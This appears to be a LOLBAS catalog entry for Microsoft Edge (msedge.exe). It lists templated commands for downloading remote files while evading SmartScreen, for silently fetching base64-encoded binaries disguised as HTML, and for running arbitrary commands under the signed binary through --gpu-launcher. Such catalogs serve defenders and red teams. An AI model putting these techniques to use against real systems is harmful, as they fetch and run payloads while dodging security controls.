DΛΣMӨП

Catalog LOLBAS

LOL · Binary

Msedge.exe

3 techniques WindowsLOLBAS GPL-3.0

Download

File Download Windows

Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.

Use Download file from the internet

msedge.exe {REMOTEURL:.exe.txt}
Context
user
Native
Download
MITRE
T1105

Download

File Download Windows

Edge will silently download the file. File extension should be .html and binaries should be encoded.

Use Download file from the internet

msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}
Context
user
Native
Download
MITRE
T1105

Execute

Execution Windows

Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command

Use Executes a process under a trusted Microsoft signed binary

msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
Context
user
Native
Execute